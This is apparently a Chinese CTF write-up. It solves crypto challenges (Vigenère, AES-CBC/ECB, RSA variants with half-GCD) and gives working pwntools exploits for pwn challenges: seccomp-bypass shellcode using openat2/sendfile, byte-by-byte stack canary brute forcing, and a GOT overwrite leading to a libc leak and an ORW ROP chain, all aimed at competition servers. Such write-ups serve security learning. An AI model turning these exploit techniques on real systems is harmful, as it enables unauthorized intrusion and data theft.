Crypto
故事新编1,2
第1个,每个字符都按key(循环用)作移位。看明白这,这题也就出来了这是维吉尼亚密码可以在Vigenere Solver | guballa.de上爆破
第2个,改了些东西,但仔细看来是查表,只是key不再循环使用而是用完后就用明文。同样在这个网站上也有解法,名字叫 Autokey Vigenère 就是自动密钥。
不用谢喵
AES_CBC格式加密的密文和AES_ECB直接解的明文,CBC格式只是加了前反馈,也就是把前一块的密文当作IV与明文异或后再ECB加密,所以ECB解密后的数据再与前一块的密文异或一下就行。
python
def decrypt(c):
AES_ECB = AES.new(KEY, AES.MODE_ECB)
decrypted = AES_ECB.decrypt(long_to_bytes(c))
return decrypted.hex()
def encrypt():
iv = os.urandom(16)
AES_CBC = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = AES_CBC.encrypt(FLAG.encode())
print('iv:',iv.hex())
return iv.hex() + encrypted.hex()
c=encrypt()
print('encrypt:',c)
print('decrypt:',decrypt(int(c,16)))
#encrypt: f2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138
#什么是AES啊😭,求求你帮我解密吧,我什么都会做的!!!!!😭
'''
什么都会做?那就去学习一下AES吧......
我这次就先给你解一下好了,不用谢喵
decrypt: f9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23b
这对吗?哦不对不对,哦对的对的。
'''
python
c1 = bytes.fromhex('f2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138')
c2 = bytes.fromhex('f9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23b')
c = [c1[i:i+16] for i in range(0, len(c1), 16)]
m = [c2[i:i+16] for i in range(0, len(c2), 16)]
b''.join([xor(m[i], c[i-1]) for i in range(1,3)])
没e这能玩
这题分两块,一块是3等式3变量求解。另一块是给了 m^e mod 2^512求e
python
from Crypto.Util.number import *
import random
import sympy
import gmpy2
m = bytes_to_long(b'flag{*****}')
p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
h1 = 1*p + 1*q + 1*r
h2 = 2*p + 3*q + 3*r
h3 = 9*p + 9*q + 6*r
print( "hint_of_pqr=" , h1 , h2 , h3 )
e = getPrime(64)
a_big_prime = getPrime( 512 )
hint = pow(a_big_prime,e,2**512)
print( "big_prime is: " , a_big_prime )
print( "hint is: " , hint )
n = p*q*r
c = pow( m , e , n )
print( "c=" , c )
第1部分是初中数学题,主要是数字给的过于简单了,如果加上小幂数就不是初中题了。第2部分是DLP,由于模是2^512所以没在大因子可以直接求对数得到e
python
#求p q r
p = h1*3-h2
q = (h1*9-h3)//3
r = h1 - p - q
#求e hint = pow(p2,e,2^512)
discrete_log(hint,mod(p2,2^512))
e = 18344052974846453963
#rsa
d = invert(e, (p-1)*(q-1)*(r-1))
m = pow(c,d,n)
#mpz(2761328357324640838041048482823820617928011152855994221385645606528893)
long_to_bytes(m)
#b'flag{th1s_2s_A_rea119_f34ggg}'
两个黄鹂鸣翠柳
这题给了两个e和c,同一个n看上去是共模攻击。但是e比较大。其实还是共模攻击,只是用优化的算法。
python
import random
from Crypto.Util.number import *
while 1:
delta = getPrime(1024)
p = getPrime(512)
q = getPrime(512)
N = p * q
if delta<N:
break
flag = b'flag{xxxxxxxxxxxxx}'
e = getPrime(10)
m = bytes_to_long(flag)
t1 = random.randint(0,255)
t2 = random.randint(0,255)
assert (t1 != t2)
m1 = m + t1 * delta
m2 = m + t2 * delta
c1 = pow(m1, e, N)
c2 = pow(m2, e, N)
print("e = ", e)
print("c1 = ", c1)
print("c2 = ", c2)
print("N = ", N)
print("delta = ", delta)
Half-gcd是优化后的算法,一身十几位的幂都可以算每次降半。
python
#half-gcd算法
def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x^m)
b_top, b_bot = b.quo_rem(x^m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x^(m // 2))
e_top, e_bot = e.quo_rem(x^(m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11
def GCD(a, b):
print(a.degree(), b.degree())
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)
rd = inverse_mod(delta, N)
rc1 = c1*pow(rd,e,N)%N
rc2 = c2*pow(rd,e,N)%N
#half-gcd
PR.<x> = PolynomialRing(Zmod(N))
for k1 in range(-255,256):
if k1==0: continue
print(k1)
f1 = (x)^e - rc1
f2 = (x+ k1)^e - rc2
res = GCD(f1,f2)
m = -res.monic().coefficients()[0]
for k2 in range(-256,256):
v = long_to_bytes(int((m-k2)*delta%N))
if b'flag' in v:
print(v)
PWN
不可思议
scanf(v6[i]) 可在连续读入16个4字节整数,当输入第10,11个时就溢出到返回在址,在这里写入后门。
ezshellcode
shellcode题,有限制open,execve,execveat,write等,允许了257:openat2。可以用openat2打开文件,再sendfile
python
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./pwn')
#gdb.attach(p, "b*0x40124f\nc")
p = remote('8.147.132.32', 32350)
shellcode = """
add rax,0x100; mov rsp,rax;
push 0;pop rdi;
mov rax, 0x67616c662f; push rax; push rsp;pop rsi;
push 0;pop rdx;
push 0;pop r10;
push 257;pop rax;
syscall;
push 1;pop rdi;
push rax;pop rsi;
push 0;pop rdx;
push 0x70;pop r10;
push 0x28;pop rax;
syscall;
"""
p.sendlineafter(b"Welcome to Shellcode World!\n", asm(shellcode))
p.interactive()
'''
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x15 0x00 0x01 0x00000101 if (A != 257) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x15 0x00 0x01 0x000001b5 if (A != 437) goto 0013
0012: 0x06 0x00 0x00 0x00000000 return KILL
0013: 0x15 0x00 0x01 0x00000000 if (A != 0) goto 0015
0014: 0x06 0x00 0x00 0x00000000 return KILL
0015: 0x15 0x00 0x01 0x00000013 if (A != 19) goto 0017
0016: 0x06 0x00 0x00 0x00000000 return KILL
0017: 0x15 0x00 0x01 0x00000127 if (A != 295) goto 0019
0018: 0x06 0x00 0x00 0x00000000 return KILL
0019: 0x15 0x00 0x01 0x00000147 if (A != 327) goto 0021
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0021: 0x15 0x00 0x01 0x00000011 if (A != 17) goto 0023
0022: 0x06 0x00 0x00 0x00000000 return KILL
0023: 0x15 0x00 0x01 0x00000001 if (A != 1) goto 0025
0024: 0x06 0x00 0x00 0x00000000 return KILL
0025: 0x15 0x00 0x01 0x00000014 if (A != 20) goto 0027
0026: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW
'''
ezcanary
起了线程,溢出触发stack_fail不会退出,可以一字节一字节的爆破
python
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./ezcanary')
#gdb.attach(p, "b*0x40124f\nc")
p = remote('8.147.132.32', 38830)
canary = b'\x00'
for i in range(7):
for j in range(256):
p.sendafter(b'\xef\xbc\x9f\n',b'A'*0x58+canary+bytes([j]))
msg = p.recv(20)
p.sendafter(b"*)\n", b'A')
if not b'stack' in msg:
canary += bytes([j])
print(canary.hex())
break
context.log_level = 'debug'
p.sendafter(b'\xef\xbc\x9f\n',b'cat flag\n\0')
p.sendafter(b"*)\n", b'cat flag\n\0')
p.sendafter(b"flag is one_by_one_bruteforce\n", b'A'*0x58+canary+flat(0x401273, 0x401251))
sleep(0.2)
p.sendline(b'cat flag')
p.interactive()
One last b1te
先是允许往1个地址写1字节,这里got表无保护,可以将close的get表改成write,然后通过溢出写ROP重新调起,close(1)时会将rdi指向的值泄露
cpp
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-18h] BYREF
char v5[16]; // [rsp+10h] [rbp-10h] BYREF
init();
sandbox();
write(1, "Show me your UN-Lucky number : ", 0x20uLL);
read(0, &buf, 8uLL); // 任意地址写1字符
write(1, "Try to hack your UN-Lucky number with one byte : ", 0x32uLL);
read(0, buf, 1uLL);
read(0, v5, 0x110uLL);
close(1);
return 0;
}
得到libc后,再向栈里写ORW
python
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
#p = process('./pwn')
#gdb.attach(p, "b*0x401446\nc")
p = remote('8.147.129.74', 35127)
p.sendafter(b"Show me your UN-Lucky number : ", p64(0x404028))
p.sendafter(b"Try to hack your UN-Lucky number with one byte : \0", b'\x50') #got.close 401080 -> write401050
p.send(b'A'*0x18+ flat(0x401110))
msg = p.recv(0x110)
print(msg[0xb8:0xc0].hex())
libc.address = u64(msg[0xb8:0xc0]) - 139 - libc.sym['__libc_start_main']
stack = u64(msg[0x20: 0x28]) - 0x170
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
pop_rsi = libc.address + 0x0000000000110a4d # pop rsi ; ret
pop_rax = libc.address + 0x00000000000dd237 # pop rax ; ret
syscall = libc.sym['getpid']+9
print(f"{libc.address = :x} {stack = :x}")
p.sendafter(b"Show me your UN-Lucky number : ", p64(0x404800))
p.sendafter(b"Try to hack your UN-Lucky number with one byte : \0", b'\x00') #got.close 401080 -> write401050
p.send(b'/flag'.ljust(0x18, b'\0')+ flat([
pop_rdi, stack, pop_rsi,0, pop_rax,2, syscall,
pop_rdi, 3, pop_rsi, 0x404400, pop_rax,0, syscall,
pop_rdi, 1, pop_rax,1,syscall
]))
sleep(0.2)
p.sendline(b'cat flag')
p.interactive()
逆向放弃了